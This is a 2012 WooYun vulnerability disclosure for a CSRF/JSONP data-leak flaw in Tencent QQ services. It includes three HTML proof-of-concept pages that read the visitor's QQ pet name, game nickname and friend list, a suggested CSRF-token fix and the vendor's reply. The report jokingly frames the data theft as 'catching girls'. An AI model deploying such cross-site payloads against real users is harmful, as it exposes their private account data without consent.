当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-014602

漏洞标题：光棍节献礼 大家一起来抓腾讯的妹纸

相关厂商：腾讯

漏洞作者： 剑心

提交时间：2012-11-10 19:57

修复时间：2012-12-25 19:58

公开时间：2012-12-25 19:58

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-10： 细节已通知厂商并且等待厂商处理中
2012-11-12： 厂商已经确认，细节仅向厂商公开
2012-11-22： 细节向核心白帽子及相关领域专家公开
2012-12-02： 细节向普通白帽子公开
2012-12-12： 细节向实习白帽子公开
2012-12-25： 细节向公众公开

简要描述：

光棍节还是一个人在过么，来tx抓两个妹纸回去暖床吧

详细说明：

很多处
要抓妹纸，先要把妹纸的名字找了来

<html><body><iframe src="http://pet.qq.com" width=1 height=1 /><script>function getmeizi(obj){alert(obj.qq.name);}</script><script src="http://portal.pet.qq.com/fcgi-bin/webpet?cmd=query&flag=0&callback=getmeizi" /></body></html>


有几个妹纸不玩游戏，不过玩游戏的妹纸都比较宅，宅就宅吧，聊胜于无，把妹纸昵称抓来再说

<html><body><script src="http://user1.game.qq.com/cgi-bin/v1.0/extern/cgi_official_website.cgi" /><script>alert(official_website_info.nick);</script></body></html>


什么，妹纸不对你胃口，那妹纸的好友总有对你胃口的吧

<html><body><script>function getmeizi(obj){alert(/此处数据处理起来太麻烦，自己回家看吧/);}</script><script src="http://lobby.minigame.qq.com/cgi-bin/qqgame_get_relation?type=1&callback=getmeizi" /></body></html>

漏洞证明：

第二个代码应该是等iframe加载执行完之后才去获取，将就用吧

修复方案：

扣程序员的年终奖 || 加csrf token

版权声明：转载请注明来源 剑心@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2012-11-12 09:58

厂商回复：

非常感谢您的报告。您反馈的这个问题我们已从其他渠道获悉，故仅给1分rank

最新状态：

暂无